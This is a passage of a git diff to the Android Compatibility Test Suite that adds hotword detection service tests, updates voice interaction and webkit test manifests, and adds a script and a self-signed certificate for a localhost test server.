+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Intent;
+import android.platform.test.annotations.AppModeFull;
+import android.voiceinteraction.common.Utils;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for using the VoiceInteractionService that included a basic HotwordDetectionService.
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "No real use case for instant mode hotword detection service")
+public final class HotwordDetectionServiceBasicTest
+        extends AbstractVoiceInteractionBasicTestCase {
+    static final String TAG = "HotwordDetectionServiceBasicTest";
+
+    @Test
+    public void testHotwordDetectionService_validHotwordDetectionComponentName_triggerSuccess()
+            throws Throwable {
+        final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(mContext,
+                Utils.BROADCAST_HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT);
+        receiver.register();
+
+        mActivityTestRule.getScenario().onActivity(activity -> {
+            activity.triggerHotwordDetectionServiceTest(
+                    Utils.HOTWORD_DETECTION_SERVICE_BASIC,
+                    Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST);
+        });
+
+        final Intent intent = receiver.awaitForBroadcast(TIMEOUT_MS);
+        assertThat(intent).isNotNull();
+        assertThat(intent.getIntExtra(Utils.KEY_TEST_RESULT, -1)).isEqualTo(
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+
+        receiver.unregisterQuietly();
+    }
+
+    @Test
+    public void testHotwordDetectionService_withoutAllowTriggerPermission_triggerFailure()
+            throws Throwable {
+        final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(mContext,
+                Utils.BROADCAST_HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT);
+        receiver.register();
+
+        mActivityTestRule.getScenario().onActivity(activity -> {
+            activity.triggerHotwordDetectionServiceTest(
+                    Utils.HOTWORD_DETECTION_SERVICE_BASIC,
+                    Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_WITHOUT_PERMISSION_TEST);
+        });
+
+        final Intent intent = receiver.awaitForBroadcast(TIMEOUT_MS);
+        assertThat(intent).isNotNull();
+        assertThat(intent.getIntExtra(Utils.KEY_TEST_RESULT, -1)).isEqualTo(
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SECURITY_EXCEPTION);
+
+        receiver.unregisterQuietly();
+    }
+
+    @Override
+    public String getVoiceInteractionService() {
+        return "android.voiceinteraction.cts/"
+                + "android.voiceinteraction.service.BasicVoiceInteractionService";
+    }
+}
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceNonExistenceTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceNonExistenceTest.java
new file mode 100644
index 0000000..cc161e1
--- /dev/null
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceNonExistenceTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Intent;
+import android.platform.test.annotations.AppModeFull;
+import android.voiceinteraction.common.Utils;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for using the VoiceInteractionService without a basic HotwordDetectionService.
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "No real use case for instant mode hotword detection service")
+public final class HotwordDetectionServiceNonExistenceTest
+        extends AbstractVoiceInteractionBasicTestCase {
+    static final String TAG = "HotwordDetectionServiceNonExistenceTest";
+
+    @Test
+    public void testHotwordDetectionService_noHotwordDetectionComponentName_triggerFailure()
+            throws Throwable {
+        final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(mContext,
+                Utils.BROADCAST_HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT);
+        receiver.register();
+
+        mActivityTestRule.getScenario().onActivity(activity -> {
+            activity.triggerHotwordDetectionServiceTest(
+                    Utils.HOTWORD_DETECTION_SERVICE_NONE,
+                    Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST);
+        });
+
+        final Intent intent = receiver.awaitForBroadcast(TIMEOUT_MS);
+        assertThat(intent).isNotNull();
+        assertThat(intent.getIntExtra(Utils.KEY_TEST_RESULT, -1)).isEqualTo(
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_ILLEGAL_STATE_EXCEPTION);
+
+        receiver.unregisterQuietly();
+    }
+
+    @Override
+    public String getVoiceInteractionService() {
+        return "android.voiceinteraction.cts/"
+                + "android.voiceinteraction.service.MainInteractionService";
+    }
+}
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/TestVoiceInteractionServiceActivity.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/TestVoiceInteractionServiceActivity.java
new file mode 100644
index 0000000..70200b8
--- /dev/null
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/TestVoiceInteractionServiceActivity.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.cts;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.util.Log;
+import android.voiceinteraction.common.Utils;
+import android.voiceinteraction.service.BasicVoiceInteractionService;
+import android.voiceinteraction.service.MainInteractionService;
+
+public class TestVoiceInteractionServiceActivity extends Activity {
+    static final String TAG = "TestVoiceInteractionServiceActivity";
+
+    void triggerHotwordDetectionServiceTest(int serviceType, int testEvent) {
+        Intent serviceIntent = new Intent();
+        if (serviceType == Utils.HOTWORD_DETECTION_SERVICE_NONE) {
+            serviceIntent.setComponent(new ComponentName(this,
+                    "android.voiceinteraction.service.MainInteractionService"));
+        } else if (serviceType == Utils.HOTWORD_DETECTION_SERVICE_BASIC) {
+            serviceIntent.setComponent(new ComponentName(this,
+                    "android.voiceinteraction.service.BasicVoiceInteractionService"));
+        } else {
+            Log.w(TAG, "Never here");
+            finish();
+            return;
+        }
+        serviceIntent.putExtra(Utils.KEY_TEST_EVENT, testEvent);
+        ComponentName serviceName = startService(serviceIntent);
+        Log.i(TAG, "triggerHotwordDetectionServiceTest Started service: " + serviceName);
+    }
+}
diff --git a/tests/tests/voiceinteraction/testapp/Android.bp b/tests/tests/voiceinteraction/testapp/Android.bp
index 65db5fb..3b021d1 100644
--- a/tests/tests/voiceinteraction/testapp/Android.bp
+++ b/tests/tests/voiceinteraction/testapp/Android.bp
@@ -19,7 +19,11 @@
 android_test_helper_app {
     name: "CtsVoiceInteractionApp",
     defaults: ["cts_support_defaults"],
-    static_libs: ["CtsVoiceInteractionCommon", "androidx.core_core"],
+    static_libs: [
+        "CtsVoiceInteractionCommon",
+        "androidx.core_core",
+        "compatibility-device-util-axt",
+    ],
     srcs: ["src/**/*.java"],
     sdk_version: "test_current",
     // Tag this module as a cts test artifact
diff --git a/tests/tests/voiceinteraction/testapp/AndroidManifest.xml b/tests/tests/voiceinteraction/testapp/AndroidManifest.xml
index c683c66..020ee80 100644
--- a/tests/tests/voiceinteraction/testapp/AndroidManifest.xml
+++ b/tests/tests/voiceinteraction/testapp/AndroidManifest.xml
@@ -16,36 +16,37 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.voiceinteraction.testapp">
+     package="android.voiceinteraction.testapp">
 
     <application>
-      <uses-library android:name="android.test.runner" />
+      <uses-library android:name="android.test.runner"/>
 
       <activity android:name="TestApp"
-                android:label="Voice Interaction Test App"
-                android:theme="@android:style/Theme.DeviceDefault">
+           android:label="Voice Interaction Test App"
+           android:theme="@android:style/Theme.DeviceDefault"
+           android:exported="true">
           <intent-filter>
               <action android:name="android.intent.action.VIEW"/>
-              <category android:name="android.intent.category.DEFAULT" />
-              <category android:name="android.intent.category.BROWSABLE" />
-              <category android:name="android.intent.category.VOICE" />
-              <data android:scheme="https" />
-              <data android:host="android.voiceinteraction.testapp" />
-              <data android:path="/TestApp" />
+              <category android:name="android.intent.category.DEFAULT"/>
+              <category android:name="android.intent.category.BROWSABLE"/>
+              <category android:name="android.intent.category.VOICE"/>
+              <data android:scheme="https"/>
+              <data android:host="android.voiceinteraction.testapp"/>
+              <data android:path="/TestApp"/>
           </intent-filter>
       </activity>
 
        <activity android:name=".DirectActionsActivity"
-                android:label="Direct actions activity"
-                android:exported="true">
+            android:label="Direct actions activity"
+            android:exported="true">
           <intent-filter>
               <action android:name="android.intent.action.VIEW"/>
-              <category android:name="android.intent.category.DEFAULT" />
-              <category android:name="android.intent.category.BROWSABLE" />
-              <data android:scheme="https" />
-              <data android:host="android.voiceinteraction.testapp" />
-              <data android:path="/DirectActionsActivity" />
-              <category android:name="android.intent.category.VOICE" />
+              <category android:name="android.intent.category.DEFAULT"/>
+              <category android:name="android.intent.category.BROWSABLE"/>
+              <data android:scheme="https"/>
+              <data android:host="android.voiceinteraction.testapp"/>
+              <data android:path="/DirectActionsActivity"/>
+              <category android:name="android.intent.category.VOICE"/>
           </intent-filter>
         </activity>
 
diff --git a/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/DirectActionsActivity.java b/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/DirectActionsActivity.java
index 9a67f51..5f36d8960 100644
--- a/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/DirectActionsActivity.java
+++ b/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/DirectActionsActivity.java
@@ -29,6 +29,10 @@
 
 import androidx.annotation.NonNull;
 
+import com.android.compatibility.common.util.PollingCheck;
+
+import com.google.common.truth.Truth;
+
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.List;
@@ -86,6 +90,7 @@
             callback.accept(Collections.emptyList());
             return;
         }
+        Log.v(TAG, "onGetDirectActions()");
         final DirectAction action = new DirectAction.Builder(Utils.DIRECT_ACTIONS_ACTION_ID)
                 .setExtras(Utils.DIRECT_ACTIONS_ACTION_EXTRAS)
                 .setLocusId(Utils.DIRECT_ACTIONS_LOCUS_ID)
@@ -99,6 +104,7 @@
     @Override
     public void onPerformDirectAction(String actionId, Bundle arguments,
             CancellationSignal cancellationSignal, Consumer<Bundle> callback) {
+        Log.v(TAG, "onPerformDirectAction(): " + Utils.toBundleString(arguments));
         if (arguments == null || !arguments.getString(Utils.DIRECT_ACTIONS_KEY_ARGUMENTS)
                 .equals(Utils.DIRECT_ACTIONS_KEY_ARGUMENTS)) {
             reportActionFailed(callback);
@@ -116,19 +122,30 @@
     }
 
     private void detectDestroyedInteractor(@NonNull RemoteCallback callback) {
-        final Bundle result = new Bundle();
         final CountDownLatch latch = new CountDownLatch(1);
-
         final VoiceInteractor interactor = getVoiceInteractor();
-        interactor.registerOnDestroyedCallback(AsyncTask.THREAD_POOL_EXECUTOR, () -> {
-            if (interactor.isDestroyed() && getVoiceInteractor() == null) {
-                result.putBoolean(Utils.DIRECT_ACTIONS_KEY_RESULT, true);
-            }
-            latch.countDown();
-        });
-
+        interactor.registerOnDestroyedCallback(AsyncTask.THREAD_POOL_EXECUTOR, latch::countDown);
         Utils.await(latch);
 
+        try {
+            // Check that the interactor is properly marked destroyed. Polls the values since
+            // there's no synchronization between destroy() and these methods.
+            long pollingTimeoutMs = 3000;
+            PollingCheck.check(
+                    "onDestroyedCallback called but interactor isn't destroyed",
+                    pollingTimeoutMs,
+                    interactor::isDestroyed);
+            PollingCheck.check(
+                    "onDestroyedCallback called but activity still has an interactor",
+                    pollingTimeoutMs,
+                    () -> getVoiceInteractor() == null);
+        } catch (Exception e) {
+            Truth.assertWithMessage("Unexpected exception: " + e).fail();
+        }
+
+        final Bundle result = new Bundle();
+        result.putBoolean(Utils.DIRECT_ACTIONS_KEY_RESULT, true);
+        Log.v(TAG, "detectDestroyedInteractor(): " + Utils.toBundleString(result));
         callback.sendResult(result);
     }
 
diff --git a/tests/tests/voicesettings/AndroidManifest.xml b/tests/tests/voicesettings/AndroidManifest.xml
index 8be0b80..ba50604 100644
--- a/tests/tests/voicesettings/AndroidManifest.xml
+++ b/tests/tests/voicesettings/AndroidManifest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!--
  * Copyright (C) 2015 The Android Open Source Project
  *
@@ -15,31 +16,31 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.voicesettings.cts">
+     package="android.voicesettings.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name=".BroadcastTestStartActivity"
-                  android:label="The Target Activity for VoiceSettings CTS Test">
+             android:label="The Target Activity for VoiceSettings CTS Test"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.TEST_START_ACTIVITY_ZEN_MODE" />
-                <action android:name="android.intent.action.TEST_START_ACTIVITY_AIRPLANE_MODE" />
-                <action android:name="android.intent.action.TEST_START_ACTIVITY_BATTERYSAVER_MODE" />
-                <category android:name="android.intent.category.LAUNCHER" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.TEST_START_ACTIVITY_ZEN_MODE"/>
+                <action android:name="android.intent.action.TEST_START_ACTIVITY_AIRPLANE_MODE"/>
+                <action android:name="android.intent.action.TEST_START_ACTIVITY_BATTERYSAVER_MODE"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.voicesettings.cts"
-                     android:label="CTS tests of android.voicesettings">
+         android:targetPackage="android.voicesettings.cts"
+         android:label="CTS tests of android.voicesettings">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/voicesettings/TEST_MAPPING b/tests/tests/voicesettings/TEST_MAPPING
new file mode 100644
index 0000000..fe855df
--- /dev/null
+++ b/tests/tests/voicesettings/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsVoiceSettingsTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/voicesettings/service/AndroidManifest.xml b/tests/tests/voicesettings/service/AndroidManifest.xml
index 13671b6..af106f4 100644
--- a/tests/tests/voicesettings/service/AndroidManifest.xml
+++ b/tests/tests/voicesettings/service/AndroidManifest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!--
  * Copyright (C) 2015 The Android Open Source Project
  *
@@ -15,51 +16,54 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.voicesettings.service">
+     package="android.voicesettings.service">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <service android:name=".MainInteractionService"
-                android:label="CTS test voice interaction service"
-                android:permission="android.permission.BIND_VOICE_INTERACTION"
-                android:process=":interactor"
-                android:exported="true">
+             android:label="CTS test voice interaction service"
+             android:permission="android.permission.BIND_VOICE_INTERACTION"
+             android:process=":interactor"
+             android:exported="true">
             <meta-data android:name="android.voice_interaction"
-                       android:resource="@xml/interaction_service" />
+                 android:resource="@xml/interaction_service"/>
             <intent-filter>
-                <action android:name="android.service.voice.VoiceInteractionService" />
+                <action android:name="android.service.voice.VoiceInteractionService"/>
             </intent-filter>
         </service>
-        <activity android:name=".VoiceInteractionMain" >
+        <activity android:name=".VoiceInteractionMain"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.VIMAIN_ZEN_MODE_ON" />
-                <action android:name="android.intent.action.VIMAIN_ZEN_MODE_OFF" />
-                <action android:name="android.intent.action.VIMAIN_AIRPLANE_MODE_ON" />
-                <action android:name="android.intent.action.VIMAIN_AIRPLANE_MODE_OFF" />
-                <action android:name="android.intent.action.VIMAIN_BATTERYSAVER_MODE_ON" />
-                <action android:name="android.intent.action.VIMAIN_BATTERYSAVER_MODE_OFF" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.VIMAIN_ZEN_MODE_ON"/>
+                <action android:name="android.intent.action.VIMAIN_ZEN_MODE_OFF"/>
+                <action android:name="android.intent.action.VIMAIN_AIRPLANE_MODE_ON"/>
+                <action android:name="android.intent.action.VIMAIN_AIRPLANE_MODE_OFF"/>
+                <action android:name="android.intent.action.VIMAIN_BATTERYSAVER_MODE_ON"/>
+                <action android:name="android.intent.action.VIMAIN_BATTERYSAVER_MODE_OFF"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
         <activity android:name=".SettingsActivity"
-                  android:label="Voice Interaction Settings">
+             android:label="Voice Interaction Settings"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
         <service android:name=".MainInteractionSessionService"
-                android:permission="android.permission.BIND_VOICE_INTERACTION"
-                android:process=":session">
+             android:permission="android.permission.BIND_VOICE_INTERACTION"
+             android:process=":session">
         </service>
         <service android:name=".MainRecognitionService"
-                android:label="CTS Voice Recognition Service">
+             android:label="CTS Voice Recognition Service"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.speech.RecognitionService" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.speech.RecognitionService"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
-            <meta-data android:name="android.speech" android:resource="@xml/recognition_service" />
+            <meta-data android:name="android.speech"
+                 android:resource="@xml/recognition_service"/>
         </service>
     </application>
 </manifest>
-
diff --git a/tests/tests/voicesettings/service/src/android/voicesettings/service/MainInteractionSession.java b/tests/tests/voicesettings/service/src/android/voicesettings/service/MainInteractionSession.java
index 87c8926..312fa3e 100644
--- a/tests/tests/voicesettings/service/src/android/voicesettings/service/MainInteractionSession.java
+++ b/tests/tests/voicesettings/service/src/android/voicesettings/service/MainInteractionSession.java
@@ -66,7 +66,10 @@
 
     @Override
     public void onShow(Bundle args, int showFlags) {
-        super.onShow(args, showFlags);
+        if (args == null) {
+            Log.e(TAG, "onshow() received null args");
+            return;
+        }
         String testCaseType = args.getString(BroadcastUtils.TESTCASE_TYPE);
         Log.i(TAG, "received_testcasetype = " + testCaseType);
         try {
diff --git a/tests/tests/webkit/AndroidManifest.xml b/tests/tests/webkit/AndroidManifest.xml
index e7de9bf..cbb0ccf 100644
--- a/tests/tests/webkit/AndroidManifest.xml
+++ b/tests/tests/webkit/AndroidManifest.xml
@@ -16,69 +16,75 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.webkit.cts">
+     package="android.webkit.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
     <!-- Note: we must provide INTERNET permission for
-     ServiceWorkerWebSettingsTest#testBlockNetworkLoads -->
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <application android:maxRecents="1" android:usesCleartextTraffic="true">
+             ServiceWorkerWebSettingsTest#testBlockNetworkLoads -->
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+    <application android:maxRecents="1"
+         android:networkSecurityConfig="@xml/network_security_config">
         <provider android:name="android.webkit.cts.MockContentProvider"
-                  android:exported="true"
-                  android:authorities="android.webkit.cts.MockContentProvider" />
-        <uses-library android:name="android.test.runner" />
-        <uses-library android:name="org.apache.http.legacy" android:required="false" />
+             android:exported="true"
+             android:authorities="android.webkit.cts.MockContentProvider"/>
+        <uses-library android:name="android.test.runner"/>
+        <uses-library android:name="org.apache.http.legacy"
+             android:required="false"/>
 
         <activity android:name="android.webkit.cts.CookieSyncManagerCtsActivity"
-            android:label="CookieSyncManagerCtsActivity"
-            android:screenOrientation="nosensor">
+             android:label="CookieSyncManagerCtsActivity"
+             android:screenOrientation="nosensor"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.webkit.cts.WebViewCtsActivity"
-            android:label="WebViewCtsActivity"
-            android:screenOrientation="nosensor">
+             android:label="WebViewCtsActivity"
+             android:screenOrientation="nosensor"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.webkit.cts.WebViewStartupCtsActivity"
-            android:label="WebViewStartupCtsActivity"
-            android:screenOrientation="nosensor">
+             android:label="WebViewStartupCtsActivity"
+             android:screenOrientation="nosensor"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <service android:name="android.webkit.cts.TestProcessServiceA"
-                 android:process=":testprocessA"
-                 android:exported="false" />
+             android:process=":testprocessA"
+             android:exported="false"/>
 
         <service android:name="android.webkit.cts.TestProcessServiceB"
-                 android:process=":testprocessB"
-                 android:exported="false" />
+             android:process=":testprocessB"
+             android:exported="false"/>
 
         <!-- Specify a preloaded font list to ensure that this doesn't interfere
-             with the operation of the renderer process (as in b/70968451)
-         -->
-        <meta-data android:name="preloaded_fonts" android:resource="@array/preloaded_fonts" />
+                         with the operation of the renderer process (as in b/70968451)
+                     -->
+        <meta-data android:name="preloaded_fonts"
+             android:resource="@array/preloaded_fonts"/>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.webkit.cts"
-                     android:label="CTS tests of android.webkit">
+         android:targetPackage="android.webkit.cts"
+         android:label="CTS tests of android.webkit">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/webkit/OWNERS b/tests/tests/webkit/OWNERS
index 903494a..2ddd237 100644
--- a/tests/tests/webkit/OWNERS
+++ b/tests/tests/webkit/OWNERS
@@ -1,5 +1,3 @@
 # Bug component: 76427
-changwan@google.com
-tobiasjs@google.com
 torne@google.com
 ntfschr@google.com
diff --git a/tests/tests/webkit/TEST_MAPPING b/tests/tests/webkit/TEST_MAPPING
new file mode 100644
index 0000000..1768625
--- /dev/null
+++ b/tests/tests/webkit/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsWebkitTestCases",
+      "options": [
+        {
+          "exclude-annotation": "androidx.test.filters.FlakyTest"
+        }
+      ]
+    }
+  ]
+}
diff --git a/tests/tests/webkit/generate-ssl-cert.sh b/tests/tests/webkit/generate-ssl-cert.sh
new file mode 100755
index 0000000..cc1d85e
--- /dev/null
+++ b/tests/tests/webkit/generate-ssl-cert.sh
@@ -0,0 +1,16 @@
+#!/bin/bash
+
+# This script generates two self-signed test certificates to be used by
+# CtsTestServer in the CtsWebkitTestCases APK. This script is not invoked as
+# part of the build; the certificates and keys are checked in. The certificates
+# are valid for 10 years, and this script can be used to regenerate them before
+# they expire.
+
+for name in trusted untrusted; do
+  tempkey="${name}key.tmp"
+  openssl req -x509 -newkey rsa:4096 -sha256 -days 3650 -nodes \
+    -keyout "${tempkey}" -out "res/raw/${name}cert.crt" -subj "/CN=CtsWebkitTestCases-${name}" \
+    -addext "subjectAltName=DNS:localhost,IP:127.0.0.1" &&
+  openssl pkcs8 -topk8 -outform DER -in "${tempkey}" -out "res/raw/${name}key.der" -nocrypt &&
+  rm "${tempkey}"
+done
diff --git a/tests/tests/webkit/res/raw/trustedcert.crt b/tests/tests/webkit/res/raw/trustedcert.crt
new file mode 100644
index 0000000..d9fad35
--- /dev/null
+++ b/tests/tests/webkit/res/raw/trustedcert.crt
@@ -0,0 +1,31 @@
+-----BEGIN CERTIFICATE-----
+MIIFRzCCAy+gAwIBAgIUP/dGwbAus1Vf8cWLiAnyRs7duGAwDQYJKoZIhvcNAQEL
+BQAwJTEjMCEGA1UEAwwaQ3RzV2Via2l0VGVzdENhc2VzLXRydXN0ZWQwHhcNMjEw
+MjA1MTkzMTIxWhcNMzEwMjAzMTkzMTIxWjAlMSMwIQYDVQQDDBpDdHNXZWJraXRU
+ZXN0Q2FzZXMtdHJ1c3RlZDCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
+ALT6mHjIXl4ZCea7eZNOEQ8WXbR/uhimTJG3YUD2l+SC9k+dnrXJPvIrKzDq/HB0
+PO/0vNOBIeLd9CIDWVhg2tZ9J542EJB02Fueotcr30SuTG4lMtuD1Iyd37LZwUEd
+3nsFOdh65hwgzuyvBUm86CQCbNdXuj9FysHynh/plBopOTAhQkVWHKgQnKGui3Cu
+7h55GFPWxBNvc9ugCee0N+CtKhTj2ngBUd46iGmL3h7gXJOwBKrEkfdZLtz6DW5L
+Rv0+LyNcJBu5bIbU/0JK9419vbzcjvVDstgIeZJCXlc4XepPy7ASyNLJNYAe9UHc
+97Hw3yxu4VlNaGK1WbbDsOgU2Wvf0j9iGFwuuJch5pnCsJuS+rKSeCUXMz71gwo1
+lplpRNWkQkx8/0hae788M74BlQWJfV795SoAOk/qq+HxqmSv43bTaMn6UOCiBAml
+BNHgi5SF3vxlebSnHENRJTAx0JI7H5uXFPQswHYu6IGy23yFeWD+9RLADivzdiYw
+YMbeO7289+CTrTX5JKtfNqrF9Q9iqMgU3gaq2t4TKwBiIp/M5q6BLjY1spIHAnc5
+WD8y7b7ymswPUxtjaOBxdzr/dzan0ziQIKfywu6mHDQl2kWwYpFMHwIp2O1wP2Gg
+5KS6jDj9LNveV5V1GytuWIxMlyeQ8we13aIe8jURloVLAgMBAAGjbzBtMB0GA1Ud
+DgQWBBRZIZS/ttjxMLfPr91mYr9yW/b4YjAfBgNVHSMEGDAWgBRZIZS/ttjxMLfP
+r91mYr9yW/b4YjAPBgNVHRMBAf8EBTADAQH/MBoGA1UdEQQTMBGCCWxvY2FsaG9z
+dIcEfwAAATANBgkqhkiG9w0BAQsFAAOCAgEAT9c+EnbGK+hpxVlwPiNCk7jWc7zb
+6aUnyI+EVHKvMhOuSzFzllW4NZIl0ZWxzVd15LRiLaNoLXCTKWnL5MYA6BZYlT2i
+gaKVO6z8ytPfRcq1ITYp75b3N0cD7X28g6GNg7hyi/KEx0X1WS8fb88KC6fl/Sy6
+wdWg1WxPaOCosKvMwLpiFoemJBFIhNGzIghRye6MV7PjMRbb0weEQUNmtsxCtq+e
+ARBL+pXznphk3nOgreI0VlIi7imre+w6KfaTP0+UBOKhZvk451kPSHRBv8+lC6tS
+EcxqJOH/UKLQNyTzmLCLrdjnkRcwLhzegoskmLWGV4Ca2MVV3d6zGRczFplEi/lW
+Sux3Pbga+fh3FL1NqnpDCWgEptq+4mNYQn6G71jVOGw3MQtWEZijG95GPC1Yody6
+/CmNzg7eHY1PluXu73aOvJLjESqK1AxZTgpjbN1vUHg8WeSli3/Zcqn12r3FQSEY
